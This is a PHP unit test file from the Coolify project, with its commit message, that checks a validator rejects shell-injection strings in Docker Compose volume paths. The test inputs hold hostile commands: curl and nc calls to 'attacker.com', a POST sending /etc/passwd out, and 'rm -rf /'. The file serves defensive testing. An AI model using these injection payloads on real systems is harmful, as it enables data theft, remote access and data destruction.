coolify/tests/Unit/ValidateShellSafePathTest.php

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fix: prevent command injection in Docker Compose parsing - add pre-save validation This commit addresses a critical security issue where malicious Docker Compose data was being saved to the database before validation occurred. Problem: - Service models were saved to database first - Validation ran afterwards during parse() - Malicious data persisted even when validation failed - User saw error but damage was already done Solution: 1. Created validateDockerComposeForInjection() to validate YAML before save 2. Added pre-save validation to all Service creation/update points: - Livewire: DockerCompose.php, StackForm.php - API: ServicesController.php (create, update, one-click) 3. Validates service names and volume paths (string + array formats) 4. Blocks shell metacharacters: backticks, $(), |, ;, &, >, <, newlines Security fixes: - Volume source paths (string format) - validated before save - Volume source paths (array format) - validated before save - Service names - validated before save - Environment variable patterns - safe ${VAR} allowed, ${VAR:-$(cmd)} blocked Testing: - 60 security tests pass (176 assertions) - PreSaveValidationTest.php: 15 tests for pre-save validation - ValidateShellSafePathTest.php: 15 tests for core validation - VolumeSecurityTest.php: 15 tests for volume parsing - ServiceNameSecurityTest.php: 15 tests for service names Related commits: - Previous: Added validation during parse() phase - This commit: Moves validation before database save 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
2025-10-15 19:46:26 +00:00
<?php
test('allows safe paths without special characters', function () {
$safePaths = [
'/var/lib/data',
'./relative/path',
'named-volume',
'my_volume_123',
'/home/user/app/data',
'C:/Windows/Path',
'/path-with-dashes',
'/path_with_underscores',
'volume.with.dots',
];
foreach ($safePaths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
}
});
test('blocks backtick command substitution', function () {
$path = '/tmp/pwn`curl attacker.com`';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'backtick');
});
test('blocks dollar-paren command substitution', function () {
$path = '/tmp/pwn$(cat /etc/passwd)';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'command substitution');
});
test('blocks pipe operators', function () {
$path = '/tmp/file | nc attacker.com 1234';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'pipe');
});
test('blocks semicolon command separator', function () {
$path = '/tmp/file; curl attacker.com';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'separator');
});
test('blocks ampersand operators', function () {
$paths = [
'/tmp/file & curl attacker.com',
'/tmp/file && curl attacker.com',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'operator');
}
});
test('blocks redirection operators', function () {
$paths = [
'/tmp/file > /dev/null',
'/tmp/file < input.txt',
'/tmp/file >> output.log',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
}
});
test('blocks newline command separator', function () {
$path = "/tmp/file\ncurl attacker.com";
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'newline');
});
test('blocks complex command injection with the example from issue', function () {
$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
expect(fn () => validateShellSafePath($path, 'volume source'))
->toThrow(Exception::class);
});
test('blocks nested command substitution', function () {
$path = '/tmp/$(echo $(whoami))';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'command substitution');
});
test('blocks variable substitution patterns', function () {
$paths = [
'/tmp/${PWD}',
'/tmp/${PATH}',
'data/${USER}',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
}
});
test('provides context-specific error messages', function () {
$path = '/tmp/evil`command`';
try {
validateShellSafePath($path, 'volume source');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('volume source');
}
try {
validateShellSafePath($path, 'service name');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('service name');
}
});
test('handles empty strings safely', function () {
expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
});
test('allows paths with spaces', function () {
// Spaces themselves are not dangerous in properly quoted shell commands
// The escaping should be handled elsewhere (e.g., escapeshellarg)
$path = '/path/with spaces/file';
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
});
test('blocks multiple attack vectors in one path', function () {
$path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
});